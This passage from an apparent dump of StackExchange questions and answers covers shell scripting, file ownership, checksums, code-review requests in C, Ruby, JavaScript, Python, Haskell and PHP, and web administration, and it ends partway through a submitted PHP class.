where$$\\begin{align*} & \\overline {D}=\\dfrac {\\overline {A}+\\overline {B}} {2}\\\\ & \\overline {E} =\\dfrac {\\overline {A}+2\\overline {B}+\\overline {C}}{4}\\\\ &\\overline {F}=\\dfrac {\\overline {B}+\\overline {C}} {2}\\end{align*}$$(which is also great if you only have fixed point maths).IIRC, each time you subdivide, the error between the Bezier and just a straight line segment joining the end points goes down by a factor of ~4x, so it doesn't take many subdivisions before the piecewise linear approximation will be indistinguishable from the true curve. You can also use the bounding box of the control points to decide if you can skip out of the subdivision process early since that will also be a conservative bound on the curve."  } 
{  "id": "_unix.56595"  , "question": "My friends are recommending me to use OSx for video-editing but trying to use old good OSs such as Debian and Ubuntu. How can I do chromakey -video-editing in some Unix or Linux?"  , "title": "Chromakey -video-editing in Unix?"  , "tags": "ubuntu;debian;software rec;video;video editing"  } 
{  "id": "_unix.384845"  , "question": "Long time ago, like 20+ years, I recall running Abuse under Slackware 1.2 and having no issues whatsoever. Tried this again today and gotten this:abuse 0.8ALSA lib pulse.c:243:(pulse_connect) PulseAudio: Unable to connect: Connection refusedAbuse version 0.8Sound: Unable to open audio - No available audio deviceSound: Disabled (error)Specs : main file set to abuse.speProtocol Installed : UNIX generic TCPIPLisp: 527 symbols defined, 99 system functions, 319 pre-compiled functions(load abuse.lsp) [........................................]Engine : Registering base graphicsPalette has changed, recalculating light table...white light [......................................  ]tints [..................................      ]Video : Unable to set video mode : Couldn't set console screen infoNo sound detected. This must be a permissions issue which should be resolved with udev rules if I am not mistaken.Video mode setting issue - why?I could run it in an X terminal, but the bloody thing (KDE, not Abuse) re-arranges icons on my desktop even though I specifically lock their positions through desktop properties. So text console is the preferred method."  , "title": "Running Crack Dot Com Abuse in text console: Unable to set video mode"  , "tags": "fedora;console;graphics"  } 
{  "id": "_unix.371456"  , "question": "Im trying to do print last directory like below#!/bin/bashdirc=/a/b/i=3  `echo $dirc | awk -F / '{ print $i}'`which should print 'b', which is not happening. "  , "title": "echo $ along with variable"  , "tags": "bash;shell script;awk;quoting"  , "accepted_answer": "i in the AWK script is an AWK variable, not a shell variable; you need to set the AWK variable:#!/bin/bashdirc=/a/b/echo ${dirc} | awk -F / -v i=3 '{print $i}'You can specify the value of i in any way the shell understands:i=3echo ${dirc} | awk -F / -v i=${i} '{print $i}'You could also get the shell to evaluate the variable in the AWK script, but thats just looking for trouble:i=3echo ${dirc} | awk -F / {print \\$${i}}"  } 
{  "id": "_unix.277433"  , "question": "I want to anonymously use Kali Linux in VirtualBox. But VirtualBox's network is also my IP address so I want to use Whonix gateway for my Kali Linux, not Whonix workstation. How do I configure Whonix gateway in Kali? How to connect Whonix gateway to Kali Linux? What's the command I should use?"  , "title": "How to configure Whonix gateway to Kali Linux?"  , "tags": "kali linux;whonix"  } 
{  "id": "_softwareengineering.352866"  , "question": "I have couple of nested resources like Merchant, Hotel, Room. A merchant can have many hotels and similarly a hotel can have many rooms.Right now for managing these resources I doing something like:CreatePOST api/v1/merchants/11/hotelscreates a new hotel.UpdatePUT api/v1/merchants/11/hotels/42updates the given hotel.Same for read and delete.For rooms:CreatePOST api/v1/merchants/11/hotels/42/roomscreates a new room.UpdatePUT api/v1/merchants/11/hotels/42/rooms/42updates the given room etc.In future there will be more nested resources like room facilities etc. and following this scheme will turn hairy.I am in the early stage of development and I may expose these APIs for developers hence I can't change API scheme very quickly.I am in doubt from day one regarding this approach. Can I assume that each entity has unique ID (which is true for now as I am using relational database and has its own table)? If yes, then the can I use these URLs for APIs instead of above ones?POST api/v1/roomsPUT api/v1/rooms/42Etc for more nested resources.Is there any violation of semantics or standard that I may be missing? I am using similar approach in views eg. in URLs in browsers which is looking ugly too."  , "title": "Unique ids for nested resources"  , "tags": "architecture;web development;rest;domain driven design"  } 
{  "id": "_unix.364884"  , "question": "Lets consider an input text file like this:some text % BEGINblablafoo barblablablabla% ENDsome text and a foobar.txt file like this:2 38 9 1 2what is the simplest way using sed (maybe awk ?) to obtain this output text file:some text % BEGINblabla2 3blablablabla% END% BEGINblabla8 9blablablabla% END% BEGINblabla1 2blablablabla% ENDsome text "  , "title": "Duplicate and replace a pattern in a text file"  , "tags": "text processing;awk;sed"  , "accepted_answer": "Complex bash + sed solution:foobar_replacer.sh script:#!/bin/bashhead -n1 $2  # print the first linewhile read -r linedo    sed '1d;$d;{s/^foo bar$/'$line'/g}' $2        done < $1tail -n1 $2 # print the last lineUsage:bash foobar_replacer.sh foobar.txt input.txtThe output:some text % BEGINblabla2 3blablablabla% END% BEGINblabla8 9blablablabla% END% BEGINblabla1 2blablablabla% ENDsome text sed command details:1d;$d; - delete the first and the last line from input.txts/^foo bar$/'$line'/g - substitute the line containing foo bar with next item $line from foobar.txt "  } 
{  "id": "_softwareengineering.22146"  , "question": "I have a couple of developers at my company who wish to move from programming into architecture. What are the best books out there on the theory and practice of software architecture? Include a cover picture if you can. Feel free to include general books, and also books that relate to a specific technology."  , "title": "Best books on the theory and practice of software architecture?"  , "tags": "books;architecture"  , "accepted_answer": "(link to the book)This is a pretty good book, although it deals not with software architecture in general, but with architecture of business applications."  } 
{  "id": "_unix.107582"  , "question": "I'm using Ubuntu and I would like to find and/or print the sudo lecture that is printed to the screen the first time a user executes a sudo command. How can I do this? I'm unable to find the lecture file."  , "title": "How can I find and/or print sudo's lecture file?"  , "tags": "sudo"  } 
{  "id": "_webmaster.11188"  , "question": "I am trying to re-do my portfolio website since its a pain to maintain it. Everytime I have to add a new item to it, it just takes forever and kills me. I'd like to redesign in a way that makes the workflow of adding new items smooth. I am not looking for fancy effects, just a simple website which makes it easy to people browse through my stuff.All of the pages are standalone html files. Each page has a common header and footer for navigation between pages. Right now, whenever I have to modify the content, I try to dig in which table row it is and then add content to it. (yes, I use notepad).Can someone please recommend me what would be the best way to go about it ?(PS: Please let me know if I missed out anything)."  , "title": "design website using header and footer template approach"  , "tags": "html;web development;website design;headers"  , "accepted_answer": "There are probably 1000 ways to do this which vary in cost, control and complexity.If you go to PHP or even just SSI, you can move the common parts to separate files and include them where needed, so that each page mostly consists of what is different.You can use a template system where an application like Dreamweaver maintains templates for you can each time you modify it, it will prompt you to update your other files. You have to then synchronize the changes.You can also build or buy a content management system where generates webpages for you. You fill the content in some complex entry forms, sometimes using a WYSIWYG editor, and the platform picks up changes automatically. This is an oversimplified version of what Wordpress does."  } 
{  "id": "_unix.157007"  , "question": "I am a moderately new linux user. I changed my PC, and started using CentOS 7 from CentOS 6.So I attached my previous hard disk to my new pc to take backup of my files. Now, copying the files (and preserving the permissions and all), the files shows owner as 500 (I guess this is my previous UID). Is there any way I can change them to my new user name? I want to exclude the files which shows some other owners like 501.Edit:Example:ls -ltotal 3-rw-rw-r--.  1 500 500        210 Jan 10  2012 about.xmldrwxr-xr-x.  2 500 500       4096 May 15  2013 apachedrwxrwxr-x.  2 500 500       4096 Dec  9  2012 etcNow, I can do chown -R xyz:xyz . to make them look like:ls -ltotal 3-rw-rw-r--.  1 xyz xyz        210 Jan 10  2012 about.xmldrwxr-xr-x.  2 xyz xyz       4096 May 15  2013 apachedrwxrwxr-x.  2 xyz xyz       4096 Dec  9  2012 etc But I just want to know if there are some kind of commands which can map user 500 to user xyz.Thank you."  , "title": "Change file ownership, based on previous owner"  , "tags": "files;users;recursive;chown"  , "accepted_answer": "If I understand you correctly, you want to change the owner of all files inside some directory (or the root) that are owned by user #500 to be owned by another user, without modifying files owned by any other user. You're in that situation because you've copied a whole directory tree from another machine, where files inside that tree were owned by many different users, but you're only interested in updating those that were owned by your user at the moment, and not any of the files that are owned by user #501 or any other.GNU chown supports an option --from=500 that you can use in combination with the -R recursive option to do this:chown -R --from=500 yourusername /path/hereThis will be the fastest option if you have GNU chown, which on CentOS you should.Alternatively can use find on any system:find /path/here -user 500 -exec chown yourusername '{}' '+'find will look at every file and directory recursively inside /path/here, matching all of those owned by user #500. With all of those files, it will execute chown yourusername file1 file2... as many times as required. After the command finishes, all files that were owned by user #500 will be owned by yourusername. You'll need to run that command as root to be able to change the file owners.You can check for any stragglers by running the same find command without a command to run:find /path/here -user 500It should list no files at this point.An important caveat: if any of the files owned by user #500 are symlinks, chown will by default change the owner of the file the symlink points at, not the link itself. If you don't trust the files you're examining, this is a security hole. Use chown -h in that case."  } 
{  "id": "_webapps.893"  , "question": "I have two Google Analytics accounts that were created under my Google ID while I was with a former employer.  Is there a way to transfer ownership of those accounts?If I can't just give those accounts to someone else then is there an easy way to recreate the accounts under a different ID without losing the history?EDIT: I have been through the process to add another administrator, and my administrator privileges have been removed, but the accounts still show up on my analytics page! I can't even delete them...  Am I stuck with these accounts forever?!"  , "title": "Transfer ownership of Google Analytics accounts?"  , "tags": "google analytics;account management"  , "accepted_answer": "As of June 2017 transferring ownership of Google Analytics accounts is accomplished by adding a new user with administrative permissions, then deleting the previous user.To add a new user with administrative permissions:Click Admin at the bottom of the left navigation menu to view the Administration page.From there, select the account, then click User Management. Below the table of current users, enter an email address and check the boxes for Manage Users and Edit. (Collaborate and Read & Analyze will be selected automatically.) Then click Add.To remove a user's access to the account, edit the account permissions accordingly using the drop down menu in the user management table then save; or click delete to remove the user from the account entirely.It is also possible to move a Property from one Account to another:Select the Account that contains the property you wish to move.Select the PropertyClick Property Settings, then click Move PropertySelect destination account.Choose desired permissions settings.Click Move, then Save."  } 
{  "id": "_unix.341922"  , "question": "If a Linux system is using more than one swap device and suspend to disk, how does one setup the resume= kernel parameter?"  , "title": "Linux resume when using multiple swap partitions"  , "tags": "linux kernel;swap;power management"  } 
{  "id": "_codereview.82422"  , "question": "I am new to programming and want to know if this is really bad code. I know my variable names may seem arbitrary but I spent some time trying to get them right. I am struggling on that. Would you do this the same way?#include <stdio.h>#define MAXLINE 100void printHistogramHorizontally(int alphabetofline[]);int main(){    int c,i,j;    int alphabetofline[25];    char line[MAXLINE];    for(j=0; j< 26; j++)        alphabetofline[j] = 0;    for(i=0;i < MAXLINE -1 && (c = getchar()) != EOF && c != '\\n'; ++i)    {        line[i] = c;        switch (c)        {            case 'a':            case 'A':                ++alphabetofline[0];                break;            case 'b':            case 'B':                ++alphabetofline[1];                break;            case 'c':            case 'C':                ++alphabetofline[2];                break;            case 'd':            case 'D':                ++alphabetofline[3];                break;            case 'e':            case 'E':                ++alphabetofline[4];                break;            case 'f':            case 'F':                ++alphabetofline[5];                break;            case 'g':            case 'G':                ++alphabetofline[6];                break;            case 'h':            case 'H':                ++alphabetofline[7];                break;            case 'i':            case 'I':                ++alphabetofline[8];                break;            case 'j':            case 'J':                ++alphabetofline[9];                break;            case 'k':            case 'K':                ++alphabetofline[10];                break;            case 'l':            case 'L':                ++alphabetofline[11];                break;            case 'm':            case 'M':                ++alphabetofline[12];                break;            case 'n':            case 'N':                ++alphabetofline[13];                break;            case 'o':            case 'O':                ++alphabetofline[14];                break;            case 'p':            case 'P':                ++alphabetofline[15];                break;            case 'q':            case 'Q':                ++alphabetofline[16];                break;            case 'r':            case 'R':                ++alphabetofline[17];                break;            case 's':            case 'S':                ++alphabetofline[18];                break;            case 't':            case 'T':                ++alphabetofline[19];                break;            case 'u':            case 'U':                ++alphabetofline[20];                break;            case 'v':            case 'V':                ++alphabetofline[21];                break;            case 'w':            case 'W':                ++alphabetofline[22];                break;            case 'x':            case 'X':                ++alphabetofline[23];                break;            case 'y':            case 'Y':                ++alphabetofline[24];                break;            case 'z':            case 'Z':                ++alphabetofline[25];                break;        }    }    if (c == '\\n')    {        line[i] = c;        ++i;    }    line[i] = '\\0';    printf(\\n%s\\n, line);    printHistogramHorizontally(alphabetofline);    return 0;    }    void printHistogramHorizontally(int alphabetofline[])    {    char const* alphaIndex[] =  {A, B, C, D, E, F, G,                                H, I, J,K, L, M,                                N, O, P,Q, R, S,                                T, U, V,W, X, Y,                                Z                          };    int i, numOfX;    i=numOfX=0;    for( i = 0; i < 26; ++i )    {        printf(%s: , alphaIndex[i]);        while(numOfX < alphabetofline[i])        {            printf(X);            ++numOfX;        }        numOfX = 0;        printf(\\n);    }}"  , "title": "Printing simple histogram horizontally"  , "tags": "beginner;c;formatting"  } 
{  "id": "_codereview.62616"  , "question": "Given a chess coordinate as a string (e.g. a1) I'd like to transform it into a 2-D array (so, for a1 I'd like to get [1,1]).Here's what I came up with: def safe_pawns(pawns)  pawns.inject([]){|res, pwn| res << [pwn.split('')[0].index(/[a-h]/) + 1, pwn.split('')[1].to_i]}end  Can anyone suggest a refactoring please to make it more idiomatic Ruby?  "  , "title": "Breaking a chess coordinate string into 2D coordinates"  , "tags": "ruby;game;array;coordinate system"  , "accepted_answer": "Give your code some breathing room. I.e. ) { |a, b| instead of ){|a, b|. And there's no need to put everything on one line. The way your block works right now, it'd be better to store the result of pwn.split in a variable, instead of calling split twice. (There's also no need to abbrevate pawn as pwn.)That being said, strings support array-like access, so you don't need the split at all.Judging from your code, pawns is an array. Transforming an n-element array to a new n-element array is called mapping. You're using inject which is also known as reduce (and fold in many other languages; see comments) - an operation most often used to take an n-element array and reduce it to a single value. So step 1: Use map instead of inject.I'd probably use a regex to pull the string apart. It'll double as a way to check the coordinate strings for validity (e.g. so no z9 coordinates will slip through).It's a little low-level, but we can use the fact that a is 97 in ASCII. So to get the number for a letter, we can say letter.ord - 96. You get something like this:def safe_pawns(squares)  squares.map do |square|    [$1.ord - 96, $2.to_i] if square.downcase =~ /^([a-h])([1-8])$/  end.compactendAlternatively, if you're sure that all the input coordinates are valid, lowercase strings already, you don't need the regex or the downcasing:def safe_pawns(squares)  squares.map { |square| [square[0].ord - 96, square[1].to_i] }endAs tokland points out in the comments, we can avoid the hardcoded 96 (which isn't very self-explanatory) and instead get the letter-to-number translation by saying:square[0].ord - 'a'.ord + 1"  } 
{  "id": "_cogsci.4474"  , "question": "What are the groundbreaking works/papers/results/theories  specific to  Perceptual Learning within cognitive science?One paper/theory per answer please, and state why do you find this  work is important to know (and ideally, not just because it has lots of citations, or because it is taught as a  Cognitive Science 101 subject).The idea behind this question is to provide a rich resource of expert research and subsequent theory."  , "title": "What are the groundbreaking papers on Perception Learning within Cognitive Science?"  , "tags": "perception;reference request;learning;perceptual learning"  } 
{  "id": "_unix.368174"  , "question": "I need to pass credentials via curl to a database from several thousand systems, as each are updated.  A team who will not be permitted the credentials shall be executing the script.  Therefore, I want to hide username/password from the update team."  , "title": "How can I hide credentials in a script?"  , "tags": "bash;shell script;security;password"  } 
{  "id": "_unix.231259"  , "question": "Yesterday I was googling how to merge two files and came across an awk snippet.I need a simple merge, so sort -u is not the way to go, but the code below works.Could some one please explain what this awk code does?awk '!a[$0]++' file_1 file_2"  , "title": "Please explain this awk statement"  , "tags": "awk"  } 
{  "id": "_codereview.70156"  , "question": "I was writing an application with a few Monads in a transformer stack. The top level application state resides in a TVar, and various components of the application operate on parts of it.I wrote a helper function to extract those parts:hoistStateWithLens :: S.MonadState outerState m =>                       Simple Lens outerState innerState ->                       S.State innerState a ->                      m ahoistStateWithLens acc op = do    s <- S.get    let sp = s ^. acc    let (res, sp') = S.runState op sp    S.put (s & acc .~ sp')    return resAnd I extract it from my main state as such:runWebMState :: MonadTrans t => State appState a -> t (WebM appState) arunWebMState x =     let         runWebMState_ :: State appState a -> WebM appState a        runWebMState_ f = do            appStateTVar <- ask            liftIO . atomically $ do                appState <- readTVar appStateTVar                let (fResult, appState') = runState f appState                writeTVar appStateTVar appState'                return fResult    in webM $ runWebMState_ xEnsuring atomic access (multiple web handlers can run at once).Using it in my application code gets pretty easy:runRandom x = runWebMState $ hoistStateWithLens gen x-- sample use of runRandomget /random $ do    x <- runRandom $ state . randomR (1 :: Int,100)    text . pack . show $ xI wanted to gather some feedback about the implementation and the idea itself. The whole project is OpenSource and available on GitHub."  , "title": "Expressing computations on values as State"  , "tags": "haskell;state;monads"  } 
{  "id": "_unix.183801"  , "question": "First of all, I'm on OSX10. My default shell is BASH, which I have set up (through .profile and .bashrc) to automatically run the FISH shell when I open my terminal emulator. This allows me to set up variables etc. in BASH before I load up FISH.Sometimes, however, I want to run scripts which are written for BASH, from my FISH shell. This is necessary because FISH isn't syntactically compatible with BASH. When typing 'bash' in my FISH, the BASH I open automatically opens another FISH on top of itself, because of my .profile/.bashrc. That makes it all fishy (pun intended), because I then have to exit the top FISH to get into the BASH on top of the second FISH.My question is: I know BASH can be loaded up as a login shell (executing .profile), and a non-login shell (executing .bashrc). Would it be possible to add a third 'context', which I can set up to load when BASH is run from inside FISH? That would solve the double-FISH problem because I'd be able not to load either .bashrc or .profile.I hope you understand my question -- thanks in advance for answers!"  , "title": "Custom bash 'context' when running from FISH"  , "tags": "bash;osx;fish"  , "accepted_answer": "You could set a variable in the script which starts fish to note that you're in fish:export IN_FISH=yesThen, before that, you check whether it's already set:if [ ${IN_FISH} != yes ]; then    export IN_FISH=yes    fish  # replace with the command you use to start fishfiThus, in your first bash, IN_FISH isn't set, so it gets set and fish is started. When you start bash from FISH, IN_FISH is already set, so bash doesn't start fish again..."  } 
{  "id": "_unix.4029"  , "question": "I know many directories with .d in their name:init.dyum.repos.dconf.dDoes it mean directory? If yes, from what does this disambiguate?UPDATE: I've had many interesting answers about what the .d means, but the title of my question was not well chosen. I changed mean to stand for, I hope this is clearer now."  , "title": "What does the .d stand for in directory names?"  , "tags": "directory;fhs"  , "accepted_answer": "The .d suffix here means directory. Of course, this would be unnecessary as Unix doesn't require a suffix to denote a file type but in that specific case, something was necessary to disambiguate the commands (/etc/init, /etc/rc0, /etc/rc1 and so on) an the directories they use (/etc/init.d, /etc/rc0.d, ...)This convention was introduced at least with Unix System V but possibly earlier. The init command used to be located in /etc but is generally now in /sbin on modern System V OSes.Note that this convention has been adopted by many applications moving from a single file configuration file to multiple configuration files located in a single directory, eg: /etc/sudoers.dHere again, the goal is to avoid name clashing, not between the executable and the configuration file but between the former monolithic configuration file and the directory containing them."  } 
{  "id": "_vi.8020"  , "question": "My colour scheme (morning) doesn't play nice with the quickfix window: I cannot read the selected item's location, because the foreground and background colours are the same. Because of this I want to redefine some highlighting styles, e.g. for Search and LineNr. However, I only want to do this in the quickfix window.When I edit ~/.vim/syntax/qf.vim with my changes, this affects also highlighting in other syntaxes. How can I change highlighting styles for one syntax only? I'm using, for example:hi Search ctermbg=white"  , "title": "Overriding highlighting style for one syntax"  , "tags": "syntax highlighting;search;colorscheme;quickfix"  } 
{  "id": "_codereview.151279"  , "question": "There are 2 versions of the get_startup_folders() method below, both work as expected and are called only once.The 1st version has several minor pieces of repeated code which are removed by the use of an inner function in the 2nd version.I've read several times that the use of inner functions is often frowned on by Python pros, except for in a narrow range of specific cases (e.g. closures and factory functions). I was wondering whether the 2nd version below would be considered superior to the 1st version by experienced Python programmers.1st version:def get_startup_folders(self):    folders = []    for item in STARTUP_FOLDERS:        if item == home:            if self.home_folder not in folders:                folders.append(self.home_folder)        elif item == file:            if self.file_folder:                if self.file_folder not in folders:                    folders.append(self.file_folder)        elif item == project:            for folder in self.project_folders:                if folder not in folders:                    folders.append(folder)        elif item == user:            for folder in self.user_folders:                if folder not in folders:                    folders.append(folder)    # Fail-safe: If empty then use the home folder as a fall back;    # self.home_folder is guaranteed to contain the home folder.    if len(folders) == 0:        folders.append(self.home_folder)    return folders2nd version:def get_startup_folders(self):    folders = []    def add_folder(folder):        if folder and folder not in folders:            folders.append(folder)    for item in STARTUP_FOLDERS:        if item == home:            add_folder(self.home_folder)        elif item == file:            add_folder(self.file_folder)        elif item == project:            for folder in self.project_folders:                add_folder(folder)        elif item == user:            for folder in self.user_folders:                add_folder(folder)    # Fail-safe: If empty then use the home folder as a fall back;    # self.home_folder is guaranteed to contain the home folder.    if len(folders) == 0:        add_folder(self.home_folder)   return folders"  , "title": "Getting startup folders"  , "tags": "python;comparative review;file system"  } 
{  "id": "_webapps.65685"  , "question": "Does the spotify web player (play.spotify.com) use p2p transfers to supplement the bandwidth available for streaming directly from their own servers? I know their software client used to do that but I wasn't sure about the online version."  , "title": "Does the Spotify web player (play.spotify.com) user peer-to-peer connections?"  , "tags": "spotify"  } 
{  "id": "_unix.374282"  , "question": "I am storing some multi-GB files on two hard drives.  After several years in offline storage (unfortunately in far from ideal conditions), I often get some files with bit-rot (the two copies differ), and want to recover the file.  The problem is, the files are so big, that within the same file, on some storage devices one bit gets rotten, whereas on another one a different bit gets bit-rotten, and so neither of the disks contains an uncorrupted file.Therefore, instead of calculating the MD5 checksums of the entire files, I would like to calculate these checksums of each 1KB-chunk.  With such a small chunk, there is a lot less chance that the same 1KB-chunk will get corrupted on both hard drives.  How can this be done?  I am sure it shouldn't be hard, but I spent over an hour trying different ways, and keep failing."  , "title": "How to separately checksum each block of a large file"  , "tags": "files;split;hashsum;checksum"  , "accepted_answer": "I am not offering a complete solution here, but rather I'm hoping to be able to point you along the way to building your own solution. Personally I think there are better tools, such as rsync, but that doesn't seem to fit the criteria in your question.I really wouldn't use split because that requires you to be able to store the split data as well as the original. Instead I'd go for extracting blocks with dd. Something like this approach may be helpful for you.file=/path/to/fileblocksize=1024    # Bytes per blocknumbytes=$(stat -c '%s' $file)numblocks=$((numbytes / blocksize))[[ $((numblocks * blocksize)) -lt $numbytes ]] && : $((numblocks++))blockno=0while [[ $blockno -lt $numblocks ]]do    md5sum=$(dd bs=$blocksize count=1 skip=$blockno if=$file 2>/dev/null | md5sum)    # Do something with the $md5sum for block $blockno    # Here we write to stdout    echo $blockno $md5sum    : $((blockno++))done"  } 
{  "id": "_cs.13677"  , "question": "This is the first time that I'm looking in depth into the topic, although I've always been curious.Could someone let me know about online resources (courses, tutorials, etc) and books that cover the basics of the topic?I'd like to explore both the theoretical part and the more practical part of Data Mining."  , "title": "Getting started with Data Mining"  , "tags": "reference request;data mining"  , "accepted_answer": "You can start with Data Mining: Concepts and Techniques.To see data mining algorithms in practice you can use Weka."  } 
{  "id": "_codereview.7001"  , "question": "I'm generating all combinations of an array, so for instance, [a, b, c, d] will generate:[  a,    b,    ab,   c,    ac,  bc,   abc,  d,    ad,   bd,  abd,  cd,   acd,  bcd,  abcd]Here's the code I've written that does complete this task.What I'd like to know is if there is a better way, as iterating over the array twice feels like I'm cheating, or the complexity of the code is much more computationally expensive than it needs to be.Also, the name for a function that takes an array and returns the combinations, what might that be called? Combinator seems inappropriate.var letters = [a, b, c, d];var combi = [];var temp= ;var letLen = Math.pow(2, letters.length);for (var i = 0; i < letLen ; i++){    temp= ;    for (var j=0;j<letters.length;j++) {        if ((i & Math.pow(2,j))){             temp += letters[j]        }    }    if (temp !== ) {        combi.push(temp);    }}console.log(combi.join(\\n));"  , "title": "Generating all combinations of an array"  , "tags": "javascript;combinatorics"  , "accepted_answer": "A recursive solution, originally seen here, but modified to fit your requirements (and look a little more JavaScript-y):function combinations(str) {    var fn = function(active, rest, a) {        if (!active && !rest)            return;        if (!rest) {            a.push(active);        } else {            fn(active + rest[0], rest.slice(1), a);            fn(active, rest.slice(1), a);        }        return a;    }    return fn(, str, []);}Test:combinations(abcd)Output:[abcd, abc, abd, ab, acd, ac, ad, a, bcd, bc, bd, b, cd, c, d]Regarding the name: Don't name it permutations; a permutation is an arrangement of all the original elements (of which there should be n! total). In other words, it already has a precise meaning; don't unnecessarily overload it. Why not simply name it combinations?"  } 
{  "id": "_codereview.3252"  , "question": "I've only been writing php for a couple of months, and I've never really had anyone to look at any code I have written.  I've written this class, that returns an email address from a database, based on a set schedule. I feel like a lot of the time, I'm doing things the long way, or just the wrong way. So I would really appreciate it if someone could review this class, and make any suggestions at all, as far as coding style, optimization, etc..Let me explain how it works - a quick overview.This email script is called by procmail, and the email address it returns gets forwarded by procmail. The database it connects to has 4 tables(right now).The schedule table has 4 columns, and time in/out are military time.date | tc_name | time_in | time_outThe Tour Consultant table has columns:tc_name | friendly_name | emailThe counters table holds the counters for the currently active Tour Consultants:tc_name | countThe lastactivehash table is one field only, and just holds a string of thelast tour consultants that were active. Each time this string changes the counterstable is flushed, and reinitialized with the current active Tour Consultants.How this is supposed to work: Should divy up emails evenly between current active Tour Consultants. If no one is active, it should look ahead to tomorrow, if it is evening, or the same day if it is morning, and process everyone that is working that day.I tried to name the functions in a way that would explain what they are doing. This is a pretty simple class, but if I should comment it out, let me know.Note: get_manual_override is not implemented.<?phpclass schedule {private $tomorrow;private $today;private $timenow;private $dblink;private $active_day;private $active_time;private $counters;public $final_email;  function __construct() {       $this->dblink = new mysqli('127.0.0.1', '####', '####', '####');       date_default_timezone_set('America/Anchorage');      $this->today = date('Y-m-d');       $this->tomorrow = date('Y-m-d', mktime(0, 0, 0, date(m)  , date(d)+1, date(Y)));     //military time       $this->timenow = date('Hi');     //This is to be implemented as of yet    if ($address = $this->get_manual_override){       //email it       die();    }    else{          //Query the db for everyone that has today's date set       if ($this->get_active_full_day($this->today)){          //Filter these results based on who is active at the current time.             $this->get_active_time();       }         //Fallback, try to get tomorrow.       else{         if($this->get_active_full_day($this->tomorrow)){         $this->process_whole_day();         $this->filter_active();         }         //Ultimate Fallback, set a default array of emails here (TODO)         else{        echo 'didnt find anything';         }       }    }  }   //Query the db for people who are active today    private function get_active_full_day($date) {   $query = SELECT * FROM schedule LEFT OUTER JOIN tour_consultants ON tour_consultants.tc_name = schedule.tc_name    WHERE `date` = '$date';  $result = $this->dblink->query($query) ; if((isset($result->num_rows)) && ($result->num_rows != '')) {    $itr = 0;    //Store the results into an associative array.  while ($row = $result->fetch_assoc()) {        $this->active_day[$itr]['time_in'] = $row['time_in'];        $this->active_day[$itr]['time_out'] = $row['time_out'];        $this->active_day[$itr]['tc_name'] = $row['tc_name'];        $this->active_day[$itr]['email'] = $row['email'];        $itr++;    }    return true;    }    else{    return false;    }  } //This will only run if Today's date is set up in the database.    private function get_active_time() {     //Loop through the array of active today, and look for people who are currently working.     //If they are active, add them to the activetime array.    foreach($this->active_day as $record => $ar) {      if($this->is_between($this->timenow, $ar['time_in'], $ar['time_out']))        $this->active_time[] = $ar;     }//If it didn't find anybody currently active.    if(!isset($this->active_time)){     $times_out = array();     $times_in = array();//Make an array of everybody working today's times in and times out.           $itr = 0;      foreach($this->active_day as $record => $ar) {        $times_in[$itr] = $ar['time_in'];        $times_out[$itr] = $ar['time_out'];        $itr++;      }//If the time now is less than the minimum of the times in, then it is morning, and process everyone working     //Today               if($this->timenow < min($times_in)) {        if($this->process_whole_day()){          $this->filter_active();        return true;        }        else{            return false;        }  //If the time now is later than the max of times out, get everyone working tomorrow, and process them.      }      elseif($this->timenow > max($times_out)) {        if($this->get_active_full_day($this->tomorrow)){           if($this->process_whole_day()){            $this->filter_active();            return true;           }           else{            return false;           }      }      else{        return false;      }    }    else {        //THis else happens if we are probably between shifts...        //Process the whole current day here.        $this->process_whole_day();            $this->filter_active();    }    }        //This else is what happens when it does find people working at the current time.    else{        $this->filter_active();        return true;    }  } private function filter_active() {    if(!isset($this->active_time)){        return false;    }    else{/* Get a list of the names of people that were active last time an email was sent.  If the list has changed, reset the email counters, if it hasn't changed, get the current counters. */   if($lastactive = $this->get_last_active()){    $curractive = '';    foreach($this->active_time as $arr) {    $curractive .= $arr['tc_name'];       }    if($lastactive != $curractive) {        $this->reset_counters();    }    else{        $this->counters = $this->get_counters();    }} //Error getting last hash, so reset counters to be safe.else{    $this->reset_counters();} /* Add the counters array to the active time array. */ $min = min($this->counters);        foreach($this->active_time as $id => $arr) {            if(isset($this->counters[$arr['tc_name']])){            $this->active_time[$id]['sent'] = $this->counters[$arr['tc_name']];            }            else{                $this->active_time[$id]['sent'] = 0;                $min = 0;            }        }    /* Find the people who have been emailed the least */           foreach($this->active_time as $id => $arr) {            if($arr['sent'] == $min){                $leastsent[$id] = $arr;            }        }/* If more than one person has the same minimum counter, pick a random one of them. */         if(count($leastsent) > 1){            $final = array_rand($leastsent, 1);            $final = $leastsent[$final];        }        else{               $final = $leastsent['0'];        }        if(isset($final)) {             $newcounter = $final['sent'];        /* Increment the counter, and store it in the database, then set the lastactive names in the database. ($this->activetime) */                            $newcounter++;                $this->set_counter($final['tc_name'], $newcounter);            $this->set_last_active();            $this->final_email = $final['email'];        }    } } /* Get the list of people who were last active */      private function get_last_active() {     $query = SELECT hash FROM lastactivehash WHERE `id` = '0' LIMIT 1;     if($result = $this->dblink->query($query)) {      while ($row = $result->fetch_assoc()) {       $oldhash = $row['hash'];       }       return $oldhash;     }     else{      return false;     }   }  /* Set the list of people who were active this time around */    private function set_last_active() {    $names = '';   foreach($this->active_time as $arr) {    $names .= $arr['tc_name'];   }    $query = UPDATE lastactivehash SET `hash`='$names' WHERE `id`='0';    $result = $this->dblink->query($query);      if($this->dblink->affected_rows != 1)    return false;    else    return true;   }   /* Get the list of email counters */     private function get_counters() {    $query = SELECT * FROM counters;     if($result = $this->dblink->query($query)) {      while ($row = $result->fetch_assoc()) {       $counters[$row['tc_name']] = $row['count'];      }     return $counters;     }     else{        return 0;     }   }  /* Set a single email counter */      private function set_counter($name, $count) {    if($name == '' || $count == ''){        return false;    }    else{     $query = UPDATE counters SET `count`='$count' WHERE `tc_name`='$name';     $this->dblink->query($query);    if($this->dblink->affected_rows != 1)    return false;    else    return true;    }    }   /* Reset email counters, set everybody with an active time to 0 */       private function reset_counters() {        $truncate = TRUNCATE TABLE counters;        $this->dblink->query($truncate);        foreach($this->active_time as $arr){            $name = $arr['tc_name'];            $query = INSERT INTO counters (tc_name, count) VALUES ('$name', '0');         $this->dblink->query($query);         if($this->dblink->affected_rows != 1)         $bad = 1;        $this->counters[$arr['tc_name']] = '0';        }        if ($bad = 1)         return false;        else        return true;    } /* Simple utility function check if one value is between two others. */    private function is_between($value, $min, $max){         if (($value >= $min) && ($value <= $max))           return true;         else           return false;    }  /* Helper function - Set the array of active_day, to currently active, active_time */      private function process_whole_day(){    if((isset($this->active_day)) && (!isset($this->active_time))){    $this->active_time = $this->active_day;    return true;    }    else{    